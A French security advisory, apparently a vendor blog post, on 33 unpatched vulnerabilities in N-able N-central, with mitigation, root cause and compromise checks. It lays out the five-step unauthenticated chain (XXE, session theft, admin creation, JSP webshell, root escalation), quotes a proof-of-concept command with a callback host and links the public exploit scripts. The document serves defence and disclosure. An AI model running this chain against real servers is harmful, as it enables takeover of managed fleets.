N-able N-central RCE : 33 vulnérabilités zero-day, aucun correctif (Able2Shell)

En bref

• Un chercheur a publié 33 vulnérabilités et quatre chaînes d'exploitation dans N-able N-central, la plateforme de gestion à distance des fournisseurs de services managés. Les chaînes mènent à l'exécution de code en tant que nable ou root.
• Le chercheur a testé N-central Appliance 2026.4.0.31 et estime que les versions antérieures sont probablement concernées. N-able n'a publié ni avis public ni version corrigée.
• N-able a mis hors ligne Hosted N-central et a demandé aux clients sur site d'arrêter leurs serveurs. La société affirme n'avoir observé aucun signe d'exploitation et travailler à un correctif d'urgence.
• Aucune des 33 failles Able2Shell ne figure dans le catalogue Known Exploited Vulnerabilities (KEV) de la CISA au 10 novembre 2026. Cinq CVE N-central antérieures y figurent (CVE-2025-8875, CVE-2025-8876, CVE-2026-18577, CVE-2026-18556, CVE-2026-86218) : cette gamme a donc déjà été attaquée.
• Isolez N-central d'Internet, limitez l'accès à la console aux réseaux de confiance et exécutez les contrôles de « Comment vérifier si j'ai été compromis ? ». Voir « Comment corriger ? ».

Suis-je concerné ?

Vous êtes exposé lorsque toutes ces conditions sont réunies :

• Vous exploitez N-able N-central, l'appliance sur site ou le service hébergé.
• La version de l'appliance est 2026.4.0.31 ou antérieure. Le chercheur a testé 2026.4.0.31 et estime que les versions antérieures et actuelles sont probablement concernées.
• Un attaquant peut joindre l'interface web de N-central sur le réseau. La chaîne principale ne demande aucun compte.

Le service hébergé est concerné par la coupure de N-able, que votre locataire ait été joignable ou non au moment de la divulgation. N-able indique avoir mis hors ligne l'environnement Hosted N-central par précaution.

N-able n'a publié ni avis public, ni matrice des versions corrigées, ni commande de vérification de version. Relevez la version de l'appliance dans la console et considérez toute version 2026.4 comme concernée jusqu'à ce que N-able publie une matrice. Le dépôt du chercheur nomme la version testée 2026.4.0.31.

Comment corriger ?

Aucun correctif n'existe. L'isolement réseau est le seul contrôle opérationnel aujourd'hui, et il ferme les chemins distants que le chercheur a démontrés.

1. Retirez immédiatement le serveur N-central d'Internet. Autorisez l'accès à la console uniquement depuis un VLAN d'administration, un VPN ou une liste fixe d'adresses d'administrateurs.
2. Si le serveur était joignable depuis Internet, considérez-le comme potentiellement compromis. Conservez ses journaux et une image du disque pour l'enquête, puis reconstruisez-le à partir d'une image saine et renouvelez tous les identifiants qu'il stockait.
3. Surveillez la page de statut et le centre de confiance de N-able pour le correctif d'urgence. Appliquez-le dès sa publication, puis comparez la version à la matrice de N-able.
4. Supprimez ou désactivez les comptes N-central que vous ne reconnaissez pas, en commençant par tout administrateur de rôle 1002 créé par la chaîne du chercheur.
5. Examinez les connexions sortantes de l'appliance et les politiques de ses agents. N-central peut pousser des scripts et des commandes vers chaque poste enrôlé, donc un serveur compromis met le parc client en danger.

Le contournement a des limites. L'isolement empêche l'exploitation par le réseau. Il n'arrête pas un attaquant déjà présent sur le réseau d'administration et ne supprime pas un compte ou un JSP déjà créé par l'attaquant. Seule une reconstruction après une compromission suspectée traite ces cas.

Quelle est la cause racine ?

N-able n'a publié ni correctif ni code source. La cause racine décrite ici est le mécanisme documenté par le chercheur dans le dépôt public Able2Shell : des familles d'interfaces héritées font confiance à l'identité et à l'état de session fournis par l'appelant, et des assistants privilégiés consomment des fichiers que l'utilisateur nable peut écrire.

L'appliance expose trois familles d'interfaces héritées à côté de la console moderne : MMS2, MMS3 et ServerEI2. Plusieurs d'entre elles acceptent l'identité depuis la requête plutôt que depuis une session authentifiée.

• L'analyseur d'import de service résout une entité externe fournie par l'attaquant avant de vérifier la session d'interface fournie. Un appelant anonyme peut alors voler la session NCI tournante et réutiliser son contexte de confiance local.
• Le code d'accès MMS3 est dérivé de manière déterministe de l'identifiant décimal de l'appliance. Un appelant anonyme peut donc fabriquer et confirmer un JWT et créer une session d'appliance.
• Les assistants root consomment une configuration située dans des répertoires inscriptibles par nable, sans vérifier la propriété, le confinement ni l'intégrité. L'installateur syslog, l'assistant de pré-mise à niveau et le traitement des options sendmail sont trois exemples démontrés par le chercheur.

La preuve de concept publique montre la chaîne anonyme combinée. Voici la commande du chercheur, réduite aux arguments qui sélectionnent la chaîne :

$ python3 anonymous_xxe_nable_rce.py --appliance-id 1807387629 --callback-host <CALLBACK_IP> --user-id 50 --username productadmin@n-able.com --customer-id 1 --create-admin-username <NEW_ADMIN_USERNAME> --create-admin-password '<NEW_ADMIN_PASSWORD>' --command /usr/bin/id
created_admin_id=1290595928
created_admin_login=accepted
created_admin_role_id=1002
created_admin_protected_action=200
uid=992(nable) gid=992(nable) groups=992(nable) context=system_u:system_r:unconfined_service_t:s0

La sortie enregistre les deux résultats : un compte administrateur actif de rôle 1002, et l'exécution de commande en uid=992(nable).

Comment la faille est-elle exploitée ?

La chaîne anonyme se déroule en cinq étapes, d'une requête non authentifiée à l'exécution de code en nable.

1. L'attaquant envoie une requête d'import de service MMS2 anonyme dont le XML référence un DTD qu'il contrôle.
2. L'analyseur résout l'entité externe avant d'appliquer la session d'interface. La réponse ou le rappel divulgue la session NCI tournante, et l'attaquant réutilise le contexte de confiance local de l'appliance.
3. Avec ce contexte, l'attaquant réinitialise le mot de passe d'un administrateur produit existant, ou crée un nouvel administrateur de rôle 1002 par la même chaîne.
4. L'attaquant se connecte et utilise une primitive d'écriture de fichier pour placer un JSP exécutable dans la racine web Jetty déployée. La chaîne d'import de service, la traversée de version SIS GenericFiles et la traversée de nom de fichier du File Repository en fournissent chacune une.
5. Le JSP s'exécute en tant que compte de service nable. À partir de là, l'attaquant place un fichier de configuration dans un répertoire inscriptible par nable qu'un assistant root consomme, et l'assistant l'exécute en root.

Le chercheur documente plusieurs autres chemins vers nable ou root, notamment l'injection d'options dans la notification de restauration de sauvegarde, l'envoi NSP auto-vérifié et l'assistant de pré-mise à niveau. Les chaînes qui partent d'un XSS stocké anonyme dans les métadonnées de correctif MMS3 atteignent aussi root par l'injection de grammaire syslog-ng d'Audit Export.

Le chercheur a aussi publié un débordement de pile authentifié ProductAdmin dans le chemin de commande GenericTCP. Cette preuve de concept est calibrée pour un laboratoire isolé à un seul worker avec ASLR désactivé, et ses octets naturels n'exécutent que la commande fixe ps avant le plantage du worker. Traitez-la comme un résultat de laboratoire, pas comme un exploit distant fiable.

Comment se déroule l'attaque ?

Une requête non authentifiée atteint un analyseur hérité qui résout les entités XML avant de vérifier la session. La confiance de session ainsi obtenue, plus une écriture de fichier, aboutit à l'exécution de code en nable, puis à root par un assistant privilégié.

Que peut faire un attaquant ?

Un attaquant qui termine la chaîne contrôle le serveur N-central et, par lui, les postes qu'il gère. Le chercheur démontre l'exécution de commandes en nable et en root. Il montre aussi la création d'un compte administrateur actif, la divulgation des identifiants de base de données de découverte d'actifs et des identifiants réutilisables d'Ecosystem Agent, ainsi que la falsification des enregistrements d'audit du contrôle à distance.

Les conditions font partie de l'impact :

• L'attaquant doit pouvoir joindre l'interface web de N-central sur le réseau. La chaîne principale ne demande ni compte ni interaction de l'utilisateur.
• Certaines failles individuelles demandent un compte ProductAdmin ou Technician. Ces comptes restent utiles à un attaquant qui a déjà volé une session ou réinitialisé un mot de passe.
• L'exécution root par l'installateur syslog exige d'abord une primitive d'exécution nable. Le chercheur compose les deux étapes ; aucune n'est un passage autonome du réseau à root.
• Le débordement de pile GenericTCP demande un compte ProductAdmin et les conditions de laboratoire du chercheur.

N-able affirme n'avoir observé aucune exploitation de ces vulnérabilités. Les failles N-central antérieures sont un autre sujet : la CISA inscrit cinq CVE N-central dans son catalogue Known Exploited Vulnerabilities, ce qui montre que cette gamme a déjà été attaquée.

Pourquoi le correctif fonctionne-t-il ?

Aucun correctif n'est public. Cette section décrit donc ce qu'un correctif doit changer. Un correctif qui ne ferme qu'une primitive laisse la chaîne intacte, car le chercheur combine le vol de session, une écriture de fichier et un assistant privilégié.

Un correctif complet doit faire trois choses :

• Valider la requête et sa session avant que tout analyseur XML ne résolve des entités externes, et refuser les entités externes dans les analyseurs d'import de service et de service personnalisé.
• Remplacer le code d'accès MMS3 dérivé de l'identifiant d'appliance par un secret aléatoire lié à l'appliance et renouvelé, et rejeter les sessions d'appliance forgées à chaque gestionnaire protégé.
• Faire vérifier par chaque assistant root la propriété, le chemin et l'intégrité des fichiers qu'il consomme, afin qu'un répertoire inscriptible par nable ne devienne pas une exécution root.

Jusqu'à ce que N-able publie ces changements, l'isolement est le contrôle qui supprime les chemins distants. Il ne répare pas un serveur déjà compromis.

Comment vérifier si j'ai été compromis ?

Le chercheur n'a publié aucun indicateur de compromission. Ces contrôles recherchent donc l'état que les chaînes démontrées créent. Un résultat est une piste, pas une preuve.

• Listez les comptes administrateur N-central et cherchez un compte de rôle 1002 que vous n'avez pas créé. La chaîne publique en crée un et le laisse actif sauf demande de nettoyage.
• Cherchez dans la racine web déployée des fichiers JSP que vous n'avez pas déployés. Les primitives d'import de service, SIS et File Repository écrivent un JSP exécutable dans l'arborescence Jetty.
• Examinez les destinations Audit Export pour une entrée program() que vous n'avez pas configurée. L'injection Audit Export en ajoute une et elle s'exécute en root.
• Examinez les tâches planifiées et leurs paramètres pour des commandes GenericTCP, des identifiants de tâche et des nombres de paramètres que vous ne reconnaissez pas. La preuve de concept GenericTCP arme une commande de 41 paramètres sur une tâche.
• Examinez les réinitialisations de mot de passe et les connexions administrateur que vous n'avez pas lancées, et corrélez-les avec des requêtes anonymes vers les interfaces MMS2, MMS3 et ServerEI2.
• Examinez les connexions sortantes de l'appliance et des agents gérés vers des hôtes que vous ne reconnaissez pas.

Une tentative échouée peut ne laisser aucune trace. Si un contrôle donne un résultat, conservez les journaux et reconstruisez le serveur plutôt que de le nettoyer sur place.

Chronologie

• 2025-08-13 : la CISA ajoute CVE-2025-8875 et CVE-2025-8876, deux failles N-central, au catalogue KEV.
• 2026-08-03 : la CISA ajoute CVE-2026-18577, un contournement d'authentification et une prise de contrôle de compte N-central, au catalogue KEV.
• 2026-08-04 : la CISA ajoute CVE-2026-18556, un contournement d'authentification N-central, au catalogue KEV.
• 2026-09-08 : la CISA ajoute CVE-2026-86218, une injection de code N-central avant authentification, au catalogue KEV.
• 2026-11-09 : le chercheur publie 33 vulnérabilités et quatre chaînes d'exploitation ; N-able met Hosted N-central hors ligne et demande aux clients sur site d'arrêter leurs serveurs.

FAQ

Able2Shell est-il exploité en conditions réelles ?

Aucune exploitation n'est confirmée. N-able a déclaré n'avoir observé aucun signe d'exploitation active, et le chercheur présente des démonstrations de laboratoire avec du code de preuve de concept public. Cinq CVE N-central antérieures figurent dans le catalogue KEV de la CISA, ce qui montre que cette gamme est une cible.

Existe-t-il un correctif ?

Non. N-able a indiqué travailler à un correctif d'urgence et a mis le service hébergé hors ligne entre-temps. Le chercheur affirme que les vulnérabilités fonctionnent sur la dernière version de pré-release testée et qu'elles ne sont pas corrigées.

La coupure du service hébergé signifie-t-elle que mes données ont été consultées ?

N-able ne l'a pas dit. La société décrit la coupure comme une mesure de précaution et affirme n'avoir observé aucun signe d'exploitation. Elle n'a publié ni notification client ni rapport d'investigation.

Les scripts de preuve de concept demandent-ils des identifiants ?

Pas pour la chaîne principale. La chaîne anonyme d'import de service ne demande aucun compte et peut créer un administrateur. D'autres entrées demandent un compte ProductAdmin ou Technician, qu'un attaquant peut obtenir par la première chaîne.

Les versions antérieures de N-central sont-elles concernées ?

Probablement. Le chercheur a testé 2026.4.0.31 et écrit que les versions antérieures devraient être concernées, y compris la version la plus récente au moment de la publication. N-able n'a publié aucune matrice des versions concernées.

Pourquoi une compromission d'un RMM compte-t-elle plus qu'une compromission de serveur isolée ?

N-central gère les postes de nombreuses organisations clientes. Un serveur compromis peut pousser des scripts, installer des logiciels et ouvrir des sessions distantes sur chaque appareil enrôlé, donc une seule brèche d'appliance peut exposer tout le parc client d'un fournisseur de services managés.

Trouver les serveurs N-central exposés avec Ostorlab

La découverte de surface d'attaque d'Ostorlab inventorie les hôtes et appliances exposés à Internet de votre parc. Vous pouvez ensuite trouver les consoles N-central encore joignables et les retirer du réseau en premier. C'est un inventaire des hôtes exposés, pas une détection de cette chaîne d'exploitation.

Références

• Oracle-Security/CVEs, « Able2Shell - N-Central N-Able », les 33 fiches de vulnérabilité, les quatre chaînes d'exploitation et les scripts de preuve de concept : https://github.com/Oracle-Security/CVEs/tree/main/0-Days/N-Central%20N-Able (vérifié le 10 novembre 2026)
• The Hacker News, « N-able Takes Hosted N-central Offline After Researcher Discloses 33 Zero-Days with PoC Exploits », 10 novembre 2026, la déclaration de N-able, les services concernés et la divulgation du chercheur : https://thehackernews.com/2026/11/n-able-takes-hosted-n-central-offline.html (vérifié le 10 novembre 2026)
• Tableau de statut N-able, l'état du service Hosted N-central : https://uptime.n-able.com/ (vérifié le 10 novembre 2026)
• Flux JSON du catalogue Known Exploited Vulnerabilities de la CISA, les cinq inscriptions N-central (CVE-2025-8875, CVE-2025-8876, CVE-2026-18577, CVE-2026-18556, CVE-2026-86218) : https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json (vérifié le 10 novembre 2026)
• Dossier CVE-2026-86218, l'injection de code N-central avant authentification : https://www.cve.org/CVERecord?id=CVE-2026-86218 (vérifié le 10 novembre 2026)
• Preuve de concept de la chaîne XXE anonyme du chercheur : https://github.com/Oracle-Security/CVEs/blob/main/0-Days/N-Central%20N-Able/anonymous_xxe_nable_rce.py (vérifié le 10 novembre 2026)
• Preuve de concept root de l'installateur syslog du chercheur : https://github.com/Oracle-Security/CVEs/blob/main/0-Days/N-Central%20N-Able/syslog_installer_root_rce.py (vérifié le 10 novembre 2026)